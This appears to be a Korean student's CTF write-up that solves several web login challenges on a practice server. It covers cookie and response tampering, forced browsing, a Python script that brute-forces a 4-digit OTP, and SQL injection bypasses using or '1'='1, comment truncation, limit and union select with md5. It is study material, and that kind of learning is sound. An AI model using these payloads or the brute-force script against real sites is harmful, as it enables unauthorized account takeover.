2달차 1주차 과제는 다음 4가지와 같다.
- 복습 (SQL Injection: 인증 우회)
- CTF 문제 풀기 및 정리
- 웹 개발
＋ 로그인 페이지 & 회원가입 페이지 제작 (완료)- CTF : Login Bypass 1 에서는 왜 주석이 적용안될지 생각해보기
- 추가과제
＋ 게시판 제작
1번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 2번 과제부터 정리하였다.
1. CTF 문제 풀기
[Get Admin 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 주어진 doldol 계정 입력 | 로그인 완료 |
|---|---|
 |  |
페이지 상에서는 특별한 점이 보이지 않아, 패킷을 분석해보았다.
| 로그인 시 패킷 |
|---|
 |
| ○ 아이디와 비밀번호를 입력하면 POST방식으로 UserId와 Password 파라미터가 전달된다. |
| ● 인증이 성공되면 Set-Cookie를 통해 loginUser를 설정한다. |
| ○ 응답코드가 302 (리다이렉션)이며, 그 위치는 index.php이다 |
| index.php 방문시 패킷 |
|---|
 |
| ○ index.php 를 방문할때 앞서 로그인 과정에서 저장받은 loginUser 쿠키가 같이 전달되고 있다. |
위의 내용들을 통해, index 페이지에서 사용자 인증을 loginUser 쿠키값을 통해 수행하고 있는 것이 아닐까? 생각하게 되었다.
따라서 index.php 페이지에 방문시 전달되는 쿠키값을 admin으로 수정하였다.
| Repeater에서 쿠키값 수정 |
|---|
 |
| ○ loginUser의 쿠키값을 admin으로 수정한 결과, 플래그가 출력되었다. |
이렇게 Get Admin 문제가 해결되었다.
[PIN CODE Bypass 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
페이지에 접속해보았다.
| 첫 페이지 | Fire버튼 클릭시 | 확인 클릭시 |
|---|---|---|
 |  |  |
비밀번호를 알지 못해 다음 페이지로 넘어갈 수 없는 상황이다.
단서가 있는지 찾기 위하여 패킷을 분석하였다.
| 첫 페이지에서 Fire 버튼 클릭시 | step1.php에서 확인 버튼 누를 시 |
|---|---|
 |  |
| ○ Fire 버튼을 누르면 step1.php로 이동되게 되어있다. | ● 확인 버튼을 누르면 step2.php로 이동되게 되어있다. |
위의 과정들을 살펴보았을 때, 비밀번호를 인증하면 이동되는 다음 페이지는 step3.php가 아닐지 추측해보게 되었다.
따라서 URL을 통해 직접 step3.php를 요청해보았다.
| URL을 통해 step3.php 요청 | 비밀번호 인증없이 step3.php 페이지로 이동되었다. | Fire 버튼을 눌러보자 플래그가 출력되었다. |
|---|---|---|
 |  |  |
이렇게 PIN CODE Bypass 문제가 해결되었다.
[Admin is Mine 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 주어진 doldol 계정 입력 | 로그인 완료 |
|---|---|
| |
페이지 상에서는 특별한 점이 보이지 않아, 패킷을 분석해보았다.
| 로그인 시 패킷 |
|---|
 |
| ○ 아이디와 비밀번호를 입력하면 GET방식으로 UserId와 userPw 파라미터가 전달된다. |
| ● 인증이 성공되면 result:ok라는 글자가 출력된다. |
그렇다면, 로그인에 실패시 어떻게 응답되는지 확인해보았다.
| 틀린 정보로 로그인 요청 | 응답 페이지 |
|---|---|
 |  |
| 로그인 인증에 실패시 result:fail 글자가 출력되었다. |
위의 과정을 살펴보았을 때, 다음 이동되는 index 페이지에서 응답되는 result값을 보고 로그인이 되었는지 판단하는 것이 아닐까? 추측해보았다.
따라서 admin계정으로 로그인을 시도해보고 실패시 응답되는 result값을 ok로 바꾸어 보았다.
| userId=admin으로 로그인 시도 | result값을 ok로 변경 | 플래그가 출력됨 |
|---|---|---|
 |  |  |
| result: fail → ok |
이렇게 Admin is Mine 문제가 해결되었다.
[PinCode Crack 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
페이지에 접속하니 다음과 같이 나타났다.
| 아무값이나 입력해보았다. | |
|---|---|
 |  |
숫자 4자리를 찾아야하는데 0000부터 9999까지 일일히 하기에는 범위가 너무 많아, 파이썬으로 코드를 작성해 자동화하고자 하였다.
코드를 작성하기 전에 먼저 패킷을 살펴보았다.
| Code 숫자 4자리 입력시 패킷 |
|---|
 |
| ○ 입력된 4자리 코드값이 GET방식으로 otpNum 파라미터로 전달된다. |
| ● 코드가 일치하지 않으면 Login Fail 알림창이 뜬다. |
만약, 코드가 일치한다면 결과에 Fail이라는 글자가 없을 것이다.
따라서 otpNum값을 0000부터 9999까지 요청하면서, 그 결과값으로 Fail 이 출력되지 않는 값을 찾아내도록 코드를 작성하였다.
import requests
URL = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
for i in range(0, 9999+1):
param = {'otpNum':i}
res = requests.get(url=URL, params = param)
if (not "Fail" in res.text):
print(f"otpNum= {i}")
break| 파이썬 실행 결과 | Code에 1021 입력 | 플래그 출력됨 |
|---|---|---|
 |  |  |
| 코드값이 1021인 것을 찾아내었다. |
이렇게 Pin Code Crack 문제가 해결되었다.
[Secret Login 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 아이디(doldol), 비밀번호(dol1234)로 로그인 | 응답 결과 |
|---|---|
 |  |
| ○ POST방식으로 UserId와 Password 파라미터 전달된다. | ● 응답코드가 302이며, location은 index.php 이다. |
요청 · 응답 패킷에서는 특별한 점을 찾지 못하였다.
따라서 SQL Injection이 가능한지 확인해보았다.
1) 쿼리문 추측
식별 · 인증을 동시에 수행한다고 가정하고, SQL 쿼리문을 추측해보았다.
select * from (테이블) where id='' and pw=''2) SQL Injection 가능한지 확인
id: doldol' and '1'='1 // 항등원(and '1'='1') 추가
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
 | ○ 실행 결과, 로그인이 되었다. ● 따라서 SQL Injection이 가능하다는 것이 확인되었다. |
3) 원하는 SQL 구문 삽입
관리자 계정을 모르는 상태에서 로그인을 해야하므로, SQL 구문을 삽입하여 다른 계정을 불러올 수 있는 방법을 생각해보았다.
따라서 ID 입력값에 or '1'='1' (참조건)을 만들어 모든 데이터가 가져와지는지 확인하였다.
id: doldol' or '1'='1
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' or '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행 결과, doldol 계정으로 로그인이 되었다. ● 따라서 or '1'='1' 을 통해 모든 데이터가 불러와지고, 그 데이터들 중 첫번째 행이 doldol 이므로, doldol 계정으로 로그인 되었다고 생각해볼 수 있다. |
따라서 첫번째 행이 아닌, 관리자 계정이 위치한 n번째 행을 찾아주기만 하면 된다.
여기서 limit 구문을 사용하여 두번째 행부터 데이터를 가져오도록 하였다.
id: doldol' or '1'='1' limit 1,1 #
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' or '1'='1' limit 1,1 #' and pw='dol1234'| 실행결과 | |
|---|---|
 | ○ 실행결과, 플래그가 출력되었다. ● 따라서 관리자 계정은 전체 데이터들 중 두번째 행에 위치하였음을 알 수 있다. |
이렇게 Secret Login 문제가 해결되었다.
[Login Bypass 1 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 아이디(doldol), 비밀번호(dol1234)로 로그인 | 응답 결과 |
|---|---|
 |  |
| ○ POST방식으로 UserId와 Password 파라미터 전달된다. | ● 응답코드가 302이며, location은 index.php 이다. |
요청 · 응답 패킷에서는 특별한 점을 찾지 못하였다.
따라서 SQL Injection이 가능한지 확인해보았다.
1) 쿼리문 추측
식별 · 인증을 동시에 수행한다고 가정하고, SQL 쿼리문을 추측해보았다.
select * from (테이블) where id='' and pw=''2) SQL Injection 가능한지 확인
id: doldol' and '1'='1 // 항등원(and '1'='1') 추가
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행 결과, 로그인이 되었다. ● 따라서 SQL Injection이 가능하다는 것이 확인되었다. |
3) 원하는 SQL 구문 삽입
추측한 쿼리문에 SQL 구문을 삽입하여, normaltic1의 비밀번호를 모르는 상태에서 로그인이 가능하도록 해야한다.
따라서 ID 입력값에 ' or '1'='1 을 추가하여 비밀번호 조건을 무시하게 해주었다.
id: normaltic1' or '1'='1
pw: 아무거나
완성된 쿼리: select * from (테이블) where id='normaltic1' or '1'='1' and pw='아무거나'| 실행결과 | |
|---|---|
 | ○ 실행결과, 플래그가 출력되었다. ● 비밀번호가 일치하지 않으므로 and 연산의 결과값이 거짓이 되고, 따라서 id만 일치하게 되면 인증이 된다는 것을 확인할 수 있다. |
이렇게 Login Bypass 1 문제가 해결되었다.
[Login Bypass 2 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 아이디(doldol), 비밀번호(dol1234)로 로그인 | 응답 결과 |
|---|---|
 |  |
| ○ POST방식으로 UserId와 Password 파라미터 전달된다. | ● 응답코드가 302이며, location은 index.php 이다. |
요청 · 응답 패킷에서는 특별한 점을 찾지 못하였다.
따라서 SQL Injection이 가능한지 확인해보았다.
1) 쿼리문 추측
식별 · 인증을 동시에 수행한다고 가정하고, SQL 쿼리문을 추측해보았다.
select * from (테이블) where id='' and pw=''2) SQL Injection 가능한지 확인
id: doldol' and '1'='1 // 항등원(and '1'='1') 추가
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행 결과, 로그인이 되었다. ● 따라서 SQL Injection이 가능하다는 것이 확인되었다. |
3) 원하는 SQL 구문 삽입
추측한 쿼리문에 SQL 구문을 삽입하여, normaltic2의 비밀번호를 모르는 상태에서 로그인이 가능하도록 해야한다.
따라서 ID 입력값에 ' or '1'='1 을 추가하여 비밀번호 조건을 무시하게 해주었다.
id: normaltic2' or '1'='1
pw: 아무거나
완성된 쿼리: select * from (테이블) where id='normaltic2' or '1'='1' and pw='아무거나'| 실행결과 | |
|---|---|
 | ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
현재로서는 로그인이 안된 것이 추측한 SQL문이 틀렸는지, 다른 이유인지 알 수 없다.
따라서 확실하게 알고있는 doldol 계정으로도 다시 시도해보았다.
id: doldol' or '1'='1
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' or '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
완성된 쿼리대로라면 doldol 계정으로 로그인이 되었어야 하나, 그렇지 않은 것을 보아 or 구문을 사용할 수 없다고 생각하였다.
따라서 주석을 사용해보았다.
id: normaltic2'#
pw: 아무거나
완성된 쿼리: select * from (테이블) where id='normaltic2'# and pw='아무거나'| 실행결과 | |
|---|---|
 | ○ 실행결과, 플래그가 출력되었다. ● 주석에 의해 뒷부분이 생략처리 되고, 따라서 id만 일치하면 로그인이 가능하다는 것을 확인할 수 있다. |
이렇게 Login Bypass 2 문제가 해결되었다.
[Login Bypass 3 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 아이디(doldol), 비밀번호(dol1234)로 로그인 | 응답 결과 |
|---|---|
 |  |
| ○ POST방식으로 UserId와 Password 파라미터 전달된다. | ● 응답코드가 302이며, location은 index.php 이다. |
요청 · 응답 패킷에서는 특별한 점을 찾지 못하였다.
따라서 SQL Injection이 가능한지 확인해보았다.
1) 쿼리문 추측
식별 · 인증을 동시에 수행한다고 가정하고, SQL 쿼리문을 추측해보았다.
select * from (테이블) where id='' and pw=''2) SQL Injection 가능한지 확인
id: doldol' and '1'='1 // 항등원(and '1'='1') 추가
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행 결과, 로그인이 되었다. ● 따라서 SQL Injection이 가능하다는 것이 확인되었다. |
3) 원하는 SQL 구문 삽입
추측한 쿼리문에 SQL 구문을 삽입하여, normaltic3의 비밀번호를 모르는 상태에서 로그인이 가능하도록 해야한다.
따라서 ID 입력값에 주석을 삽입하여 뒷부분이 생략되도록 하였다.
id: normaltic3'#
pw: 아무거나
완성된 쿼리: select * from (테이블) where id='normaltic3'#' and pw='아무거나'| 실행결과 | |
|---|---|
| ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
현재로서는 로그인이 안된 것이 추측한 SQL문이 틀렸는지, 주석이 필터링 되는것인지 알수 없다.
따라서 확실하게 알고있는 doldol 계정으로도 다시 시도해보았다.
id: doldol'#
pw: 아무거나
완성된 쿼리: select * from (테이블) where id='doldol'#' and pw='아무거나'| 실행결과 | |
|---|---|
| ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
doldol 계정으로 똑같이 시도해보았을 때도 로그인이 되지 않았다.
그런데 차이점을 하나 발견하였다.
id: doldol'#
pw: dol1234
완성된 쿼리: select * from (테이블) where id='doldol'#' and pw='dol1234'| 실행결과 | |
|---|---|
| ○ 실행 결과, 로그인이 되었다. ● 비밀번호를 아무거나 치는 것이 아닌, 옳은 비밀번호를 치게 되면 로그인이 되었다. |
ID에 주석이 들어가서 뒷부분이 생략되었을 것인데도, 여전히 비밀번호는 일치해야 로그인이 되고 있었다.
따라서, 처음에 추측한 쿼리가 아니라는 것을 알게 되었고 2가지 경우로 나누어 다시 생각해보았다.
- 식별 · 인증 동시 수행, 하지만 비밀번호 부분이 개행처리 되어있는 경우
- 식별 · 인증을 분리해서 수행하는 경우
먼저 첫번째 경우(비밀번호 개행)로 가정하고 SQL Injection을 수행해보았다.
1) 쿼리문 추측
비밀번호부분이 다음줄에 위치한다고 가정하고, SQL 쿼리문을 추측해보았다.
select * from (테이블) where id=''
and pw=''2) 추측한 쿼리문에서 SQL 구문이 동작가능한지 확인
id: normaltic3' or
pw: #
완성된 쿼리: select * from (테이블) where id='normaltic3' or 'and pw=' #'| 실행결과 | |
|---|---|
| ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID, 비밀번호에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
추측한 쿼리대로라면 normaltic3로 로그인이 되었어야하지만 실패하였다.
따라서 개행 방식이 아니라고 판단하였고, 두번째 경우(식별 · 인증 분리)로 가정하고 다시 시도해보았다.
1) 쿼리문 추측
식별과 인증을 분리해서 로그인을 수행하는 경우라고 가정하고, SQL쿼리문을 추측해보았다.
select pass from (테이블) where id=''
if (db_pass == user_pass)
로그인 성공2) 원하는 SQL 구문 삽입
식별 · 인증이 분리된 경우 공격자가 원하는 값으로 데이터를 조작하기 위하여
union 연산을 수행해야 한다. 따라서 먼저 컬럼 개수를 알아내고자 하였다.
id: doldol' order by N#
pw: dol1234
완성된 쿼리: select pass from (테이블) where id='doldol' order by N#'| N=1 | N=2 | N=3 |
|---|---|---|
| | |
| order by 3 일때 로그인에 실패하였다. |
즉, 이 테이블에서 사용하는 컬럼의 개수는 2개인 것을 알아냈다.
이 2개의 컬럼은 각각 id와 password 일것이다.
이제 union을 사용하여 각 자리에 원하는 값이 출력되도록 해주었다.
id: ' union select 'normaltic3', '123'#
pw: 123 // 원하는 비밀번호
완성된 쿼리: select pass from (테이블) where id='' union select 'normaltic3', '123'#'| 실행결과 | |
|---|---|
 | ○실행결과, 플래그가 출력되었다. ●따라서 union을 통해 추가로 작성한 select 문에서 설정한 비밀번호가 그대로 가져와지고, 이 값으로 로그인을 할 수 있는 것이 확인되었다. |
이렇게 Login Bypass 3 문제가 해결되었다.
[Login Bypass 4 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
이번 문제는 Login Bypass 3 문제와 모든 과정이 동일하였다.
따라서, 같은 방식으로 컬럼 개수가 2개인것까지 알아내었고 이번에도 union 연산을 사용해주었다.
id: ' union select 'normaltic4', '123'#
pw: 123 // 원하는 비밀번호
완성된 쿼리: select pass from (테이블) where id='' union select 'normaltic4', '123'#'| 실행 결과 | |
|---|---|
| ○ 실행결과, 로그인이 되지 않았다. ● 따라서 현재 ID에 입력한 SQL문이 동작하지 않는다는 것을 알 수 있다. |
아이디와 비밀번호 컬럼을 바꾸어서도 해보았으나, 여전히 로그인이 되지 않았다.
따라서 기본적인 식별 · 인증 분리 방식이 아니라면, 비밀번호에 해시처리가 되어있겠다고 추측하였다.
여러 해시 알고리즘 중에서 먼저 md5 알고리즘으로 시도해보았다.
id: ' union select 'normaltic4', md5('123')#
pw: 123 // 원하는 비밀번호
완성된 쿼리:
select pass from (테이블) where id='' union select 'normaltic4', md5('123')#'
if (db_pass == md5(user_pass)):
로그인 성공| 실행 결과 | |
|---|---|
 | ○실행결과, 플래그가 출력되었다. ●따라서 여기에서는 식별 · 인증을 분리하여 로그인을 수행하며, DB에는 비밀번호가 md5 알고리즘으로 해시처리되어 저장되어 있다는 것을 알 수 있다. |
이렇게 Login Bypass 4 문제가 해결되었다.
[Login Bypass 5 문제]
| 주어진 문제는 다음과 같다. |
|---|
 |
먼저, 주어진 doldol 계정으로 로그인 하고 그 과정을 살펴보았다.
| 주어진 doldol 계정 입력 | 로그인 완료 |
|---|---|
| |
페이지 상에서는 특별한 점이 보이지 않아, 패킷을 분석해보았다.
| 로그인 시 패킷 |
|---|
 |
| ○ 아이디와 비밀번호를 입력하면 POST방식으로 UserId와 Password 파라미터가 전달된다. |
| ● 인증이 성공되면 Set-Cookie를 통해 loginUser를 설정한다. |
| ○ 응답코드가 302 (리다이렉션)이며, 그 위치는 index.php이다 |
| index.php 방문시 패킷 |
|---|
 |
| ○ index.php 를 방문할때 앞서 로그인 과정에서 저장받은 loginUser 쿠키가 같이 전달되고 있다. |
위의 내용들을 통해, index 페이지에서 사용자 인증을 loginUser 쿠키값을 통해 수행하고 있는 것이 아닐까? 생각하게 되었다.
따라서 index.php 페이지에 방문시 전달되는 쿠키값을 normaltic5으로 수정하였다.
| Repeater에서 쿠키값 수정 |
|---|
 |
| ○ loginUser의 쿠키값을 normaltic5으로 수정한 결과, 플래그가 출력되었다. |
이렇게 Login Bypass 5 문제가 해결되었다.
여기까지해서 첫번째 과제인 'CTF 문제 풀이' 과제가 완료되었다.
2. Login Bypass 1 문제에서 왜 주석이 적용안되는지 생각해보기
먼저 #필터링 X, select 문에서 pw가 id보다 먼저 나오는 경우 X, 식별 ·인증 분리 X 라고 하셨으므로,
기본적인 식별 · 인증을 동시에 수행하는 SQL문을 가정해두고, 로그인이 가능한 값과 불가능한 값을 각각 정리하였다.
SQL문 추측: select * from (테이블) where id='' and pw=''id: doldol'# , pw: dol1234 (가능)
id: doldol'# , pw: 아무거나 (불가능)
id: doldol' and '1'='1 , pw: dol1234 (가능)
id: doldol' and '1'='2 , pw: dol1234 (불가능)
id: doldol' or '1'='1 , pw: 아무거나 (가능)
id: doldol' or '1'='2 , pw: 아무거나 (가능)
id: doldol' and '1'='1'# , pw: dol1234 (가능)
id: doldol' and '1'='2'# , pw: dol1234 (불가능)가장 눈에 띄는 것은 첫번째, id: doldol'# 의 경우였다.
아이디 끝에 주석(#)이 들어있음에도 불구하고 비밀번호는 여전히 일치해야만 했다.
식별 · 인증을 동시에 하는 경우에서 이렇게 된다는 것은, 비밀번호 값이 들어가는 위치가 아이디가 위치하는 값 바로 뒤에 존재하지 않는다는 증거이다.
따라서 비밀번호 부분이 개행처리 되어 다음 라인에 있다고 추측하였고, 쿼리를 재작성하였다.
select * from (테이블) where id=''
and pw=''이후 위에서 찾은 가능한 값들을 넣어보며 추측한 SQL쿼리문이 맞는지 검증해보았다.
| 검증 |
|---|
| id: doldol'# pw: dol1234 완성되는 쿼리: select * from (테이블) where id='doldol' and pw='dol1234' // 가능 |
| id: doldol' and '1'='1 pw: dol1234 완성되는 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234' // 가능 |
| id: doldol' or '1'='1 pw: 아무거나 완성되는 쿼리: select * from (테이블) where id='doldol' or '1'='1' and pw='아무거나' // 가능 |
| id: doldol' and '1'='1'# pw: dol1234 완성되는 쿼리: select * from (테이블) where id='doldol' and '1'='1' and pw='dol1234' // 가능 |
앞에서 찾은 가능한 경우들을, 추측한 SQL구문에 넣은 결과가 똑같이 모두 가능하였다.
따라서 개행으로 구성되어있다고 추측한 결과가 맞았음을 알 수 있다.
그렇다면 이런 경우 로그인을 우회할 수 있는 값들은 어떤것들이 있을까?
아래와 같이 개행으로 구성된 경우, 어떤 값들로 로그인을 우회할 수 있을지 생각해보았다.
select * from (테이블) where id=''
and pw=''| SQL Injection 이 통하는 값들 |
|---|
| id: normaltic1' or pw: # 완성되는 쿼리: select＊from (테이블) where id='normaltic1' or ' and pw=' #' 쿼리 재구성: select＊from (테이블) where id='normaltic1' or ' and pw=' |
| id: ' or pw: or id='normaltic1 완성되는 쿼리: select＊from (테이블) where id='' or ' and pw=' or id='normaltic1' 쿼리 재구성: select＊from (테이블) where id='' or ' and pw=' or id='normaltic1' |
이렇게 두번째 과제인 'Login Bypass 1 주석 불가능 이유 추측' 과제가 완료되었다.
